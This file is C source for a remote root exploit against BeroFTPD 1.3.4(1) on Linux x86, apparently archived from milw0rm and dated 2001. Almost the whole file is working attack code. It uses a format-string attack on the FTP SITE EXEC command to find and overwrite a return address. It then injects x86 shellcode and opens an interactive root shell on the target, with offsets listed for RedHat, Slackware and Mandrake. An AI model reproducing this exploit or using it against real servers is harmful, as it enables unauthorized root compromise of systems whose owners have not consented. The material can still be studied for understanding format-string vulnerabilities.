// BeroFTPD 1.3.4(1) Linux x86 Remote Root Exploit

/*  
 *  BeroFTPD 1.3.4(1) Linux x86 remote root exploit 
 *  by qitest1 - 5/05/2001
 *
 *  BeroFTPD is an ftpd derived from wuftpd sources. This code
 *  exploits the format bug of the site exec cmd, well known to be
 *  present in wuftpd-2.6.0 and derived daemons. BeroFTPD 1.3.4(1) 
 *  is the current version at the moment.    
 *  
 *  JUST SAMPLE CODE. For different platforms you have to try with
 *  different offsets for different retaddrs. You see.. =)   
 *
 *  Greets: Nail, Norby, Berserker.
 *  69 rulez.. ;P
 */

#include <stdio.h> 
#include <stdlib.h> 
#include <getopt.h>
#include <errno.h> 
#include <netdb.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>

struct targ
{
   int			def;
   char 		*descr;
   unsigned long int 	enbuf;
   int			dawlen;
};

struct targ target[]=
    {			
      {0, "RedHat 6.2 with BeroFTPD 1.3.4(1) from tar.gz", 0xded, 6},
      {1, "Slackware 7.0 with BeroFTPD 1.3.4(1) from tar.gz", 0x1170, 12}, 
      {2, "Mandrake 7.1 with BeroFTPD 1.3.4(1) from rpm", 0xdf1, 6}, 
      {69, NULL, 0, 0}
    };

  /* 15 byte x86/linux PIC read() shellcode by lorian / teso
   */
unsigned char shellcode_read[] =
        "\x33\xdb"              /* xorl %ebx, %ebx      */
        "\xf7\xe3"              /* mull %ebx            */
        "\xb0\x03"              /* movb $3, %al         */
        "\x8b\xcc"              /* movl %esp, %ecx      */
        "\x68\xb2\x00\xcd\x80"  /* push 0x80CDxxB2      */
        "\xff\xff\xe4";         /* jmp  %esp            */

unsigned char shellcode[] =	/* Lam3rZ code */
        "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0"
        "\x31\xdb\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b"
        "\x5e\x31\xc0\x31\xc9\x8d\x5e\x01\x88\x46\x04\x66"
        "\xb9\xff\x01\xb0\x27\xcd\x80\x31\xc0\x8d\x5e\x01"
        "\xb0\x3d\xcd\x80\x31\xc0\x31\xdb\x8d\x5e\x08\x89"
        "\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e\x08\xb0"
        "\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09"
        "\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe"
        "\xc8\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08"
        "\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0"
        "\x0b\xcd\x80\x31\xc0\x31\xdb\xb0\x01\xcd\x80\xe8"
        "\x90\xff\xff\xff\x30\x62\x69\x6e\x30\x73\x68\x31"
        "\x2e\x2e\x31\x31";

char 		  	fmtstr[1024];
int			sock;
int			sel;
int			offset;
unsigned long int       retloc;
unsigned long int 	bufaddr;
unsigned long int	tmpaddr;
	
void 		fmtstr_build(unsigned long int bufaddr, unsigned long int retloc);
void 		xpad_cat (unsigned char *fabuf, unsigned long int addr);
void 		retloc_find(void);
void 		shellami(int sock);
void		login(void);
void		usage(char *progname);
int 		conn2host(char *host, int port);

main(int argc, char *argv[])
{
char		rbuf[1024];
char		*host = NULL;
int 		cnt;

  printf("\n  BeroFTPD 1.3.4(1) exploit by qitest1\n\n");
  if(argc == 1)
	usage(argv[0]);
  while((cnt = getopt(argc,argv,"h:t:o:")) != EOF)
    {
   switch(cnt)
        {
   case 'h':
      host = strdup(optarg);
      break;
   case 't':
     sel = atoi(optarg);       
     break;
   case 'o':
     offset = atoi(optarg);
     break;
   default:
     usage(argv[0]);
     break;
        }
    }

  if(host == NULL)
	usage(argv[0]);

  printf("+Host: %s\n  as: %s\n", host, target[sel].descr);

  printf("+Connecting to %s...\n", host);
  sock = conn2host(host, 21);
  printf("  connected\n");

  printf("+Receiving banner...\n");
  recv(sock, rbuf, 1024, 0);
  printf("%s", rbuf);
  memset(rbuf, 0, 1024);
  printf("  received\n");

  printf("+Logging in...\n");
  login();
  printf("  logged in\n");

  printf("+Searching retloc...\n");
  retloc_find();
  printf("  found: %p\n", retloc);

  printf("+Searching bufaddr...\n");
  bufaddr = tmpaddr + target[sel].enbuf;
  printf("  found: %p + offset = ", bufaddr);
  bufaddr += offset;
  printf("%p\n", bufaddr);  

  printf("+Preparing shellcode...\n");
  shellcode_read[strlen(shellcode_read)] = (unsigned char) strlen(shellcode);
  printf("  shellcode ready\n");

  printf("+Building fmtstr...\n");
  fmtstr_build(bufaddr, retloc);
  printf("  fmtstr builded\n");  
  
  printf("+Sending fmtstr...\n");
  send(sock, fmtstr, strlen(fmtstr), 0);
  printf("  fmtstr sent\n");
  recv(sock, rbuf, 1024, 0);
  sleep(1);
  send(sock, shellcode, strlen(shellcode), 0);
  sleep(2);
  printf("+Entering love mode...\n");  /* Nail teachs.. ;-) */
  shellami(sock);  

}

void
fmtstr_build(unsigned long int bufaddr, unsigned long int retloc)
{
int               i;
int		  eat = 136;
int               wlen = 428;
int               tow;
int               freespz;
char		  f[1024];
unsigned long int soul69 = 0x69696969;  /* That's amore.. =) */
unsigned char     retaddr[4];

  for(i = 0; i < 4; ++i)
	retaddr[i] = (bufaddr >> (i << 3)) & 0xff;

  wlen -= target[sel].dawlen;
  f[0] = 0;
  for(i = 0; i < eat; i++)
        strcat(f, "%.f");

  strcat(fmtstr, "SITE EXEC ");
  strcat(fmtstr, "  ");
  xpad_cat(fmtstr, retloc);
  xpad_cat(fmtstr, soul69);
  xpad_cat(fmtstr, retloc + 1);
  xpad_cat(fmtstr, soul69);
  xpad_cat(fmtstr, retloc + 2);
  xpad_cat(fmtstr, soul69);
  xpad_cat(fmtstr, retloc + 3);
  strcat(fmtstr, f);
  strcat(fmtstr, "%x");

  /* Code by teso
   */
  tow = ((retaddr[0] + 0x100) - (wlen % 0x100)) % 0x100;
  if (tow < 10) tow += 0x100;     
  sprintf (fmtstr + strlen (fmtstr), "%%%dd%%n", tow);
  wlen += tow;

  tow = ((retaddr[1] + 0x100) - (wlen % 0x100)) % 0x100;
  if (tow < 10) tow += 0x100;
  sprintf (fmtstr + strlen (fmtstr), "%%%dd%%n", tow);
  wlen += tow;

  tow = ((retaddr[2] + 0x100) - (wlen % 0x100)) % 0x100;
  if (tow < 10) tow += 0x100;
  sprintf (fmtstr + strlen (fmtstr), "%%%dd%%n", tow);
  wlen += tow;

  tow = ((retaddr[3] + 0x100) - (wlen % 0x100)) % 0x100;
  if (tow < 10) tow += 0x100;
  sprintf (fmtstr + strlen (fmtstr), "%%%dd%%n", tow);
  wlen += tow;
  /* End here
   */

  freespz = 510 - strlen(fmtstr) - strlen(shellcode_read) - 1;
  for(i = 0; i < freespz ; i++)
	strcat(fmtstr, "\x90");
  strcat(fmtstr, shellcode_read);

  strcat(fmtstr, "\n");

}

  /* Code by teso
   */
void xpad_cat (unsigned char *fabuf, unsigned long int addr)
{
        int             i;
        unsigned char   c;

        for (i = 0 ; i <= 3 ; ++i) {
                switch (i) {
                case (0):
                        c = (unsigned char) ((addr & 0x000000ff)      );
                        break;
                case (1):
                        c = (unsigned char) ((addr & 0x0000ff00) >>  8);
                        break;
                case (2):
                        c = (unsigned char) ((addr & 0x00ff0000) >> 16);
                        break;
                case (3):
                        c = (unsigned char) ((addr & 0xff000000) >> 24);
                        break;
                }
                if (c == 0xff)
                        sprintf (fabuf + strlen (fabuf), "%c", c);

                sprintf (fabuf + strlen (fabuf), "%c", c);
        }

        return;
}
  /* End here
   */

void
retloc_find(void)
{
int		i;
char		rbuf[1024];
char		sbuf[1024];
char		*ptr;

  strcpy(sbuf, "SITE EXEC ");
  for(i = 0; i < 6; i++)
	strcat(sbuf, "%p ");
  strcat(sbuf, "\n");
  send(sock, sbuf, strlen(sbuf), 0); 

  recv(sock, rbuf, 1024, 0);
  ptr = rbuf;
  for(i = 0; i < 5; i++)
	{
	  while(*ptr != ' ')
	  	ptr++;
	  ptr++;
	}
  ptr[strlen(ptr) - 2] = '\x00';	
  ptr[strlen(ptr) - 1] = '\x00';
  sscanf(ptr, "%p", &retloc);
  sscanf(ptr, "%p", &tmpaddr);
  retloc -= 0x40;

}

void
shellami(int sock)
{
int 		n;
char 		recvbuf[1024];
char		*cmd = "id; uname -a\n";
fd_set 		rset;

  send(sock, cmd, strlen(cmd), 0);

  while (1)
    {
      FD_ZERO(&rset);
      FD_SET(sock,&rset);
      FD_SET(STDIN_FILENO,&rset);
      select(sock+1,&rset,NULL,NULL,NULL);
      if (FD_ISSET(sock,&rset))
        {
          n=read(sock,recvbuf,1024);
          if (n <= 0)
            {
              printf("Connection closed by foreign host.\n");
              exit(0);
            }
          recvbuf[n]=0;
          printf("%s",recvbuf);
        }
      if (FD_ISSET(STDIN_FILENO,&rset))
        {
          n=read(STDIN_FILENO,recvbuf,1024);
          if (n>0)
            {
              recvbuf[n]=0;
              write(sock,recvbuf,n);
            }
        }
    }
  return;
}

int
conn2host(char *host, int port)
{
int 		sockfd;  
struct 		hostent *he;
struct 		sockaddr_in their_addr; 

  if ((he=gethostbyname(host)) == NULL)
	{ 
          herror("gethostbyname");
          exit(1);
	}
  if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
	{
          perror("socket");
          exit(1);
	}

  their_addr.sin_family = AF_INET;     
  their_addr.sin_port = htons(port);   
  their_addr.sin_addr = *((struct in_addr *)he->h_addr);
  bzero(&(their_addr.sin_zero), 8);     

  if(connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1)
	{
          perror("connect");
          exit(1);
	}
 
  return(sockfd);

}

void
login(void)
{
char		*user = "USER anonymous\n";
char		*pass = "PASS guest@\n";
char		rbuf[1024];

  send(sock, user, strlen(user), 0);
  recv(sock, rbuf, 1024, 0);
  memset(rbuf, 0, 1024);
  send(sock, pass, strlen(pass), 0);
  while(strstr(rbuf, "login ok") == NULL)
	{
	  memset(rbuf, 0, 1024);
	  recv(sock, rbuf, 1024, 0);
	}

}

void
usage(char *progname)
{
int		i = 0;
  
  printf("Usage: %s [options]\n", progname);
  printf("Options:\n"
	 "  -h hostname\n"
	 "  -t target\n"
	 "  -o offset\n"
	 "Available targets:\n");
  while(target[i].def != 69)
	{ 
          printf("  %d) %s\n", target[i].def, target[i].descr);
          i++;
	} 

  exit(1);

}


// milw0rm.com [2001-05-08]
